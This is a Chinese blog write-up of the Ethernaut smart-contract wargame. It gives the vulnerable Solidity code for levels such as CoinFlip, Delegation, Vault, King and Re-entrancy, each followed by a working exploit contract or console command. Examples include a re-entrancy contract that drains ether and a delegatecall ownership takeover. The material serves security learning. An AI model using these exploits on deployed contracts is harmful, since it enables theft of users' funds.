Ethernaut WriteUP 学习分享

0.Hello Ethernaut ✔

跟着教程走

contract.info()
// "You will find what you need in info1()."
contract.info1()
// "Try info2(), but with "hello" as a parameter."
contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
contract.infoNum()
// 42
contract.info42()
// "theMethodName is the name of the next method."
contract.theMethodName()
// "The method name is method7123949."
contract.method7123949()
// "If you know the password, submit it to authenticate()."
contract.password()
// "ethernaut0"
contract.authenticate('ethernaut0')

1.Fallback ✔

2.Fallout ✔

3.Coin Filp

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

这里直接给了代码,分析一下,

uint256 blockValue = uint256(blockhash(block.number.sub(1)));

blockhash是一个全局变量,当是 256 个区块时,它获取并返回给定块的哈希值, block.number.sub(1) 代表最后一个块的号,由于函数在执行当中区块并未开采,所以调用最后一个而不是当前的。

他这里获取数值的方式是随机数值的上一个随机值然后除以固定的FACTOR,来获得进行判断是否正确

那么只需要使用相同的方法来预测下一次内容即可

poc

contract HackCoinFlip{

    using SafeMath for uint256;
    CoinFlip public coinFlipContract;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _coinFlipContract) public{
        coinFlipContract = CoinFlip(_coinFlipContract);
    }
    function guessFlip() public {

        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool guess = coinFlip == 1 ? true : false;

        coinFlipContract.flip(guess);
    }
}

部署在在线IDE,然后猜10次就可以了

图片[1]-Ethernaut WriteUP 学习分享-魔法少女雪殇

可以通过在控制台输入contract.consecutiveWins(),来判断当前已经成功猜了几次

图片[2]-Ethernaut WriteUP 学习分享-魔法少女雪殇

解决

4.Telephone

先看代码

pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

非常简练,大概就是要将tx.origin等于msg.sender,就是交易地址等于交互地址,那么只需要写个poc就可以了。

这里首先console调用一下owner,获取msg.sender

图片[3]-Ethernaut WriteUP 学习分享-魔法少女雪殇
poc
contract Telephone {
  function changeOwner(address _owner) public;
}

contract Caller {
    Telephone k;

    constructor(address victim) public {
        k = Telephone(victim);
        k.changeOwner(msg.sender);
    }

}

部署即可

5.Token

代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

简单分析一下代码,没什么逻辑上的漏洞,所以从上往下看看他都有啥变量,定义了一个unit 的totalSupply类型,后面再调用中运行了一个-=_value,查了一下,貌似如果一个数减去比他大的一个数就会存在溢出。

Solidity 语言安全·整型溢出 – 知乎 (zhihu.com)

那直接给传一个就行了,解决。

contract.transfer(level,21)

Delegation

代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

题目说让我们读读delegatecall啥的,在官方文档查查

Search — Solidity 0.8.14 documentation (soliditylang.org)

可以看到合约上有个pwn(),能够直接修改owner,delegatecall调用的时候调用上下文的方法,所以转账触发Delegation合约中的回调函数,然后address(delegate).delegatecall(msg.data);传入参数调用pwn()方法,将owner变成自己。

先尝试一下,不行

contract.sendTransaction({data: 'pwn'})

查了一下,貌似 Solidity 合约在内部使用 ID 而不是实际名称

Contract ABI Specification — Solidity 0.8.14 documentation (soliditylang.org)

根据文档,正确计算出传入的id,即可

contract.sendTransaction({data: web3.utils.sha3("pwn()").slice(0,10)});

Force

题目基本没给任何源码,就要往他里面给他充钱…,查文档

Security Considerations — Solidity 0.8.14 documentation (soliditylang.org)

图片[4]-Ethernaut WriteUP 学习分享-魔法少女雪殇

一个是给对面挖矿,一个是用selfdestruct这个方式,看看他能干什么

Introduction to Smart Contracts — Solidity 0.8.14 documentation (soliditylang.org)

根据文档,这样我们就可以通过建立一个合约去付款,然后直接销毁就可以了

代码:

contract ForceWriteup {

  function ForceWriteup(address _address) payable public {
    selfdestruct(_address);
  }
}
图片[5]-Ethernaut WriteUP 学习分享-魔法少女雪殇

value值非0就行了,因为的得让题目的地址有钱.解决,

Vault

代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

很明显,要获得password然后调用unlock以解锁,搜了一下文档.

区块链外部的所有观察者都可以看到合同中的所有内容.private 只会阻止其他合约访问和修改信息,但它仍然可以在区块链之外看到。

也就是说我们可以调用web3中的一些操作来获取数据

这里通过web3.eth.getStorageAt返回一个地址的指定位置存储内容,然后将其存入pwd的变量中.

web3.eth.getStorageAt(contract.address, 1, function(x, y) {pwd = y});

然后调用解锁即可.

图片[6]-Ethernaut WriteUP 学习分享-魔法少女雪殇

解决.

King

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

主要还是transfer的一个机制.

(50条消息) solidity中的transfer、send、call(delegatecall)的区别和用法总结_比特币爱好者007的博客-CSDN博客_solidity transfer

就是如果给钱给失败了就会抛出异常,而程序却没有做关于异常的处理,那么首先让程序异常就是首要任务了.

那么让他异常的方式就是消耗完gas,那么看一下代码

king.transfer(msg.value) 触发了对 king 合约的消息调用,可以在这里强制异常,只需为负责该消息调用的初始交易设置低 gas 限制即可.

那么直接交易一个币子

contract.sendTransaction({value:web3.utils.toWei('1.01','ether')})

即可

Re-entrancy

参考地址:Ethernaut Hacks Level 10: Re-entrancy – DEV Community

代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

搜了一圈,是DAO攻击的一个类型题目,具体攻击操作如下

  1. 我们为X eth做提交;
  2. withdraw首次出触发后
  3. withdraw函数调用了我们的fallback发送eth。
  4. 我们的fallback为X eth进行第二次调用
  5. 步骤3和4重复多次;
  6. 最终,我们在fallback中停止调用提款,调用结束,交易成功,我们偷了一堆eth。

最后的话会消耗比较多的gas,所以写个计数器做一个限制即可.

先看一下当前的钱数

await getBalance(contract.address)

//0.01

那么我们调用链子

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
}

contract ReentranceAttack {
    address public owner;
    IReentrance targetContract;
    uint targetValue = 1000000000000000;

    constructor(address _targetAddr) public {
        targetContract = IReentrance(_targetAddr);
        owner = msg.sender;
    }

    function balance() public view returns (uint) {
        return address(this).balance;
    }

    function donateAndWithdraw() public payable {
        require(msg.value >= targetValue);
        targetContract.donate.value(msg.value)(address(this));
        targetContract.withdraw(msg.value);
    }

    function withdrawAll() public returns (bool) {
        require(msg.sender == owner, "my money!!");
        uint totalBalance = address(this).balance;
        (bool sent, ) = msg.sender.call.value(totalBalance)("");
        require(sent, "Failed to send Ether");
        return sent;
    }

    receive() external payable {
        uint targetBalance = address(targetContract).balance;
        if (targetBalance >= targetValue) {
          targetContract.withdraw(targetValue);
        }
    }
}

即可让对方金钱变为0

Elevator

代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

目的让top等于true,在接口的地址处调用合约来判断是否是最后一层.

只需要返回true和false来回交替大概就可以了.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}

interface IElevator {
    function goTo(uint _floor) external;
}

contract MyBuilding is Building {
    bool public last = true;

    function isLastFloor(uint _n) override external returns (bool) {
        last = !last;
        return last;
    }

    function goToTop(address _elevatorAddr) public {
        IElevator(_elevatorAddr).goTo(1);
    }
}

最后看下是否为true即可

图片[7]-Ethernaut WriteUP 学习分享-魔法少女雪殇

Privacy

代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

跟前面的valut比较像,也是要通过 getStorageAt(...) 然后来获取内容值,这里直接获取截断解锁就行了,比较简单

key = await web3.eth.getStorageAt(contract.address, 5)
key = key.slice(0, 34)
contract.unlock(key)

Gatekeeper One(x)

代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

目的通过三个位置.

gateone(x)

跟第四关一样.直接打

然后后面就白给了….后续在研究

Gatekeeper Two(x)

打不动…

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情